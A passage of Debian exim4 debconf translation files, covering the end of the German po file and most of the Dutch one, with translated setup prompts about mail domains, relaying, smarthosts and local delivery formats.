"machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Bitte geben Sie eine durch Semikolon getrennte Liste der Empfänger-Domänen " "an, für die dieser Rechner das endgültige Ziel sein soll. Diese Domänen " "werden allgemein als »lokale Domänen« (local domains) bezeichnet. Der lokale " "Rechnername (${fqdn}) und »localhost« werden auch noch an die hier " "eingegebene Liste angehängt." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Laut Voreinstellung werden alle angeführten Domänen gleich behandelt. Wenn a." "beispiel und b.beispiel lokale Domänen sind, werden E-Mails an acc@a." "beispiel und acc@b.beispiel an dasselbe endgültige Ziel geschickt. Wenn " "unterschiedliche Domänen unterschiedlich behandelt werden sollen, müssen Sie " "die Konfigurationsdateien nachher selbst bearbeiten." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domänen, für die dieser Rechner E-Mails weiterleitet (Relay):" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Bitte geben Sie eine durch Semikolon getrennte Liste der Empfängerdomänen " "an, für die dieser Rechner E-Mails weiterleiten soll, z. B. als E-Mail-" "Server (MX) in Reserve oder E-Mail-Knoten. Das bedeutet, dass das System E-" "Mails für diese Domänen von überall aus dem Internet annimmt und anhand " "lokaler Regeln zustellt." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" "Geben Sie keine lokalen Domänen ein. Platzhalter können benutzt werden." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Rechner, für die E-Mails weitergeleitet werden (Relay):" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Bitte geben Sie eine durch Semikolon getrennte Liste der IP-Adressbereiche " "ein, für die das System E-Mails, in der Funktion einer Sendezentrale " "(Smarthost), bedingungslos weiterleiten soll." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Sie sollten das Standardformat »Adresse/Maske« (z. B. 194.222.242.0/24 oder " "5f03:1200:836f::/48) verwenden." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Wenn das System nicht als Sendezentrale (Smarthost) für andere Rechner " "arbeiten soll, lassen Sie die Liste leer." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Sichtbarer Domänenname für lokale Benutzer:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Die Möglichkeit, den lokalen E-Mail-Namen in ausgehenden E-Mails zu " "verbergen, wurde ausgewählt. Deshalb ist es erforderlich, den Domänennamen " "anzugeben, den das System als Domänenteil der Absenderadresse lokaler " "Benutzer verwendet." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "IP-Adresse oder Rechnername der Sendezentrale für ausgehende E-Mails:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Bitte geben Sie die IP-Adresse oder den Rechnernamen eines E-Mail-Servers " "ein, den dieses System als ausgehende Sendezentrale (Smarthost) benutzen " "soll. Wenn die Sendezentrale Ihre E-Mails nur an einem anderen Port als " "TCP/25 annimmt, hängen Sie zwei Doppelpunkte und die Portnummer an (z. B. " "sendezentrale.beispiel::587 oder 192.168.254.254::2525). Die Doppelpunkte " "müssen in IPv6-Adressen verdoppelt werden." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Wenn die Sendezentrale eine Authentifizierung erfordert, finden Sie in den " "Debian-spezifischen README-Dateien im Verzeichnis /usr/share/doc/exim4-base " "Hinweise zum Einrichten der SMTP-Authentifizierung." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Empfänger der E-Mails an die Benutzer root und postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "E-Mails an die Benutzer »postmaster«, »root« und andere Systembenutzer-" "Konten müssen an das Benutzerkonto des momentanen Systemadministrators " "umgeleitet werden." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Wenn dieser Wert leer bleibt, werden diese E-Mails im Verzeichnis /var/mail/" "mail abgelegt, was nicht zu empfehlen ist." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Beachten Sie, dass die E-Mails für »postmaster« lokal gelesen und nicht auf " "ein anderes System weitergeleitet werden sollten, daher sollten alle (oder " "mindestens einer) der angegebenen Benutzer seine bzw. ihre E-Mails nicht " "nach außerhalb weiterleiten. Verwenden Sie den Vorsatz »real-« um lokale " "Zustellung zu erzwingen." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Mehrere Benutzernamen müssen durch Leerzeichen getrennt werden." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "IP-Adressen, an denen eingehende SMTP-Verbindungen erwartet werden:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Bitte geben Sie eine durch Semikolon getrennte Liste von IP-Adressen ein. " "Der SMTP-Empfangsdienst von Exim wird an allen aufgelisteten IP-Adressen auf " "eingehende SMTP-Verbindungen warten." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Wenn Sie die Liste leer lassen, wird Exim an allen verfügbaren " "Netzwerkschnittstellen auf eingehende SMTP-Verbindungen warten." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Wenn dieses System E-Mails nur direkt von lokalen Diensten (und nicht von " "anderen Rechnern) empfängt, sollten Sie Verbindungen externer Rechner zum " "lokalen Exim verhindern. Diese Dienste umfassen auch E-Mail-Programme " "(MUAs), die mit »localhost« kommunizieren, sowie Fetchmail. Externe " "Verbindungen sind nicht möglich, wenn Sie an dieser Stelle 127.0.0.1 " "eingeben, denn damit verhindern Sie, dass Exim an externen " "Netzwerkschnittstellen auf Verbindungen wartet." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "DNS-Anfragen minimieren (Automatische Einwahl, Dial-on-Demand)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Normalerweise führt Exim beim Start, beim Empfangen oder beim Zustellen von " "Nachrichten DNS-Abfragen durch. Das geschieht für die Protokolldatei und um " "die Anzahl fest eingetragener Werte in den Einstellungen klein zu halten." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Wenn dieser Rechner keinen dauerhaften Zugang zu DNS-Servern hat (z. B. sich " "die Internetverbindung bei versuchtem Zugriff auf das Netz automatisch " "aufbaut (Dial-on-Demand)), kann das ungewollte Auswirkungen haben. " "Beispielsweise kann das Starten von Exim oder das Abarbeiten der " "Warteschlange (sogar, wenn diese leer ist) zu einer kostenpflichtigen " "Einwahl führen." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Sie sollten hier zustimmen, wenn Ihr System einen automatischen " "Verbindungsaufbau ins Internet benutzt. Wenn Sie eine ständige " "Internetverbindung haben, sollten Sie hier ablehnen." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Einrichten des E-Mail-Servers" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Einstellungen auf kleine Dateien aufteilen?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Die Debian-Exim4-Pakete können entweder »zusammenhängende Einstellungen« in " "einer großen Datei (/etc/exim4/exim4.conf.template) oder »aufgeteilte " "Einstellungen« verwenden, bei denen die aktuellen Exim-Einstellungen aus " "rund 50 kleinen Dateien im Verzeichnis /etc/exim4/conf.d/ zusammengesetzt " "werden." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Zusammenhängende Einstellungen eignen sich besser für größere Modifikationen " "und sind grundsätzlich robuster, während aufgeteilte Einstellungen es " "ermöglichen, mit geringem Aufwand kleine Änderungen vorzunehmen. Das ist " "allerdings auch anfälliger und könnte bei nicht sorgfältigen Änderungen " "nicht mehr funktionieren." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Eine ausführlichere Gegenüberstellung der zusammenhängenden und aufgeteilten " "Einstellungen finden Sie in den Debian-spezifischen README-Dateien im " "Verzeichnis /usr/share/doc/exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Lokalen E-Mail-Namen in ausgehenden E-Mails verbergen?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Die Kopfzeilen ausgehender E-Mails können umgeschrieben werden, so dass es " "scheint, als ob sie auf einem anderen Rechner erstellt wurden. Wenn Sie hier " "zustimmen, werden »${mailname}«, »localhost« und »${dc_other_hostnames}« in " "den Zeilen From, Reply-To, Sender und Return-Path ersetzt." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "Mbox-Format in /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Maildir-Format im Home-Verzeichnis" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Versandart bei lokaler E-Mail-Zustellung:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim kann lokal zugestellte E-Mails in verschiedenen Formaten abspeichern. " "Am häufigsten werden Mbox und Maildir benutzt. Mbox speichert den gesamten E-" "Mail-Ordner in einer Datei im Verzeichnis /var/mail/. Beim Format Maildir " "wird jede einzelne E-Mail in einer eigenen Datei im Verzeichnis ~/Maildir/ " "abgelegt." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Bitte beachten Sie, dass die meisten E-Mail-Programme in Debian das Format " "Mbox als Standardeinstellung für lokale E-Mail-Zustellung erwarten." #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "Nicht zugestellte E-Mails vom Exim-3- ins Exim4-»spool«-Verzeichnis " #~ "verschieben?" #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Es befinden sich noch nicht zugestellte E-Mails im »spool«-Verzeichnis /" #~ "var/spool/exim/input/ von Exim 3 (oder Exim-tls 3)." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Wenn Sie dieser Auswahl zustimmen, werden diese Mitteilungen in das " #~ "»spool«-Verzeichnis vom Exim4 (/var/spool/exim4/input/) verschoben. Dort " #~ "werden sie dann von Exim4 verarbeitet." #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Das funktioniert allerdings nur in einer Richtung: Exim4 kann die " #~ "Warteschlange von Exim 3 verarbeiten, aber nicht umgekehrt. Wenn Sie hier " #~ "nicht zustimmen, müssen Sie die Mitteilungen selbst verschieben oder sie " #~ "werden nicht zugestellt." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "Eine leere Liste verhindert die lokale Zustellung." debian/po/nl.po0000644000000000000000000006415112027557533010575 0ustar # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # # Developers do not need to manually edit POT or PO files. # msgid "" msgstr "" "Project-Id-Version: exim4\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-10-25 13:54+0100\n" "Last-Translator: Bart Cornelis \n" "Language-Team: debian-l10n-dutch \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Poedit-Language: Dutch\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Niet afgeleverde berichten uit de spoolmap verwijderen?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Er zijn nog niet-afgeleverde berichten in de exim spoolmap (/var/spool/exim4/" "input). Verwijderen van Exim zal tot gevolg hebben dat deze onafgeleverd " "blijven totdat Exim opnieuw geïnstalleerd is." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Tenzij u voor deze optie kiest wordt de spoolmap behouden. Hierdoor zullen " "berichten in de wachtrij later, na herinstallatie van Exim, alsnog " "afgeleverd worden." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Niet dit pakket maar exim4-config herconfigureren" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "De configuratie van Exim4 is afgesplitst naar een het pakket exim4-config . " "Als u Exim4 wilt herconfigureren dient u dus 'dpkg-reconfigure exim4-config' " "uit te voeren." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "internet-site; e-mail wordt direct via SMTP verzonden en ontvangen" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "e-mail verzenden via smarthost; e-mail ontvangst via SMTP of fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "e-mail verzenden via smarthost; geen lokale e-mail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "alleen lokale e-mail; als u niet op een netwerk bent aangesloten" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "nu niet configureren" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Algemeen type e-mailconfiguratie:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Welke configuratietype voor de e-mailserver komt het best overeen met uw " "behoeften?" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Systemen met dynamische IP-adressen (inclusief inbelsystemen), dienen " "normaal ingesteld te worden om uitgaande e-mail naar een andere computer " "(een zogenaamde smarthost) te sturen; dit omdat veel ontvangende systemen, " "om anti-spam redenen, geen inkomende e-mail van dynamische IP-adressen " "accepteren." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Een systeem met een dynamisch IP-adres kan z'n eigen e-mail ontvangen, maar " "ook kan de lokale aflevering (met uitzondering van e-mail voor root en " "postmaster) worden uitgeschakeld." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Weet u zeker dat u het e-mailsysteem niet wilt configureren?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Zolang uw e-mailsysteem niet ingesteld is, is het in een niet-werkende staat " "en kan het niet gebruikt worden. Op een later tijdstip configureren kan of " "handmatig, of via het commando 'dpkg-reconfigure exim4-config' uit te voeren." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "E-mailnaam voor het systeem:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "De 'e-mailnaam' is de domeinnaam die gebruikt wordt om e-mailadressen zonder " "een domeinnaam te kwalificeren." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Deze naam zal ook door andere programma's gebruikt worden, en dient dus een " "volledige gekwalificeerde domeinnaam (FQDN) te zijn." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Als bijvoorbeeld een e-mailadres op de lokale computer foo@example.org is, " "dan is de correcte waarde voor deze optie example.org ." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Als herschrijven geactiveerd is zal deze naam niet verschijnen in de 'From'-" "regels van uitgaande berichten." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Andere bestemmingen waarvoor e-mail wordt geaccepteerd wordt:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Gelieve een door puntkomma's gescheiden lijst in te geven van domeinen " "waarvoor deze machine zichzelf als eindbestemming dient te beschouwen. Deze " "domeinen zijn bekend als 'lokale domeinen'. De lokale domeinnaam (${fqdn}) " "en 'localhost' worden altijd toegevoegd en deze hoeft u hier dus niet te " "vermelden. " #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Standaard worden alle lokale domeinen op dezelfde manier afgehandeld (Als " "bijvoorbeeld zowel a.voorbeeld als b.voorbeeld lokale domeinen zijn, dan " "zullen acc@a.voorbeeld en acc@b.voorbeeld op dezelfde eindbestemming " "afgeleverd worden. Als u verschillende domeinen verschillend wilt behandelen " "zult u het configuratiebestand later handmatig moeten aanpassen." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domeinen waarvoor e-mail door te sturen:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Gelieve een met puntkomma's gescheiden lijst van ontvangstdomeinen in te " "geven waarvoor dit systeem e-mail zal doorsturen (bv. als een 'mail-gateway' " "of 'fallback-MX'). Dit betekent dat dit systeem e-mail voor deze domeinen " "aanvaart van gelijk waar op internet en deze vervolgens bezorgt volgens de " "lokale afleverregels. " #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Vul hier geen lokale domeinen in. U kunt hier jokers gebruiken." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Machines waarvoor e-mail door te sturen:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Gelieve een door puntkomma's gescheiden lijst van bereiken van IP-adressen " "in te geven waarvoor dit systeem onvoorwaardelijk e-mail zal doorsturen, en " "dus als smarthost kan fungeren." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "U dient hier het standaard 'adres/netgrootte'-formaat te gebruiken (bv. " "194.222.242.0/24 of 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Als dit systeem door geen enkel ander systeem als smarthost gebruikt mag " "worden, dient u dit leeg te laten." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Zichtbare domeinnaam voor e-mail van lokale gebruikers:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "De optie om de lokale e-mailnaam te verbergen in de uitgaande e-mail is " "actief. Het is dus nodig om de domeinnaam op te geven die dit systeem moet " "gebruiken voor het domeinnaamgedeelte van het afzendadres van lokale " "gebruikers." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "IP-adres of computernaam van de uitgaande smarthost:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Gelieve hier het IP-adres of de computernaam van de mailserver die als " "uitgaande smarthost gebruikt moet worden in te geven. Als de smarthost uw e-" "mail enkel aanvaart op een andere poort dan TCP/25 dient u 2 dubbele punten " "en het te gebruiken poortnummer toe te voegen (bv. smarthost.voorbeeld:587 " "of 192.168.254.254::2525). In IPv6-adressen dienen de dubbele punten " "gedubbeld te worden." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Als de smarthost authenticatie vereist, dienen er aanvullende instellingen " "gedaan te worden. Verdere informatie over het instellen van SMTP-" "authenticatie vindt u in /usr/share/doc/exim4-base ." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Wie dient de e-mail voor root en postmaster te ontvangen?" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "E-mail voor de 'postmaster', 'root' en andere systeemaccounts dient omgeleid " "te worden naar de gebruikersaccount van de eigenlijke systeembeheerder." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Als u deze waarde leeg laat, wordt deze e-mail opgeslagen in /var/mail/mail, " "maar dit is niet aan te raden." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "sMerk op dat de e-mail van postmaster best gelezen wordt op het systeem " "waarnaar de e-mail gericht is (en niet omgeleid naar een ander systeem). Om " "die reden is het best als de e-mail van (op z'n minst) één van de gekozen " "gebruikers niet omgeleid wordt naar een ander systeem. Om lokale aflevering " "af te dwingen kunt u het voorvoegsel 'real-' gebruiken." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Meerdere gebruikersnamen dienen gescheiden te worden met spaties." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "" "IP-adressen waarop geluisterd moet worden naar inkomende SMTP-verbindingen:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Gelieve een door puntkomma's gescheiden lijst van IP-adressen in te geven. " "De luisterende SMTP-achtergronddienst van Exim zal luisteren op alle hier " "aangegeven IP-adressen." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Een lege waarde zorgt ervoor dat Exim op alle beschikbare netwerkapparaten " "naar verbindingen luistert." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Indien dit systeem enkel rechtstreeks e-mail ontvangt van lokale diensten " "(zoals fetchmail) en dus niet van andere computers is het aan te raden om " "externe verbindingen naar de lokale Exim-achtergronddienst te verhinderen. " "Zo'n diensten omvatten e-mailprogramma's (MUA's) die enkel met localhost " "contact maken en fetchmail. Externe verbindingen zijn onmogelijk wanneer " "hier 127.0.0.1 ingeven wordt, daar dit luisteren op publieke netwerk-" "interfaces uitschakelt." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal 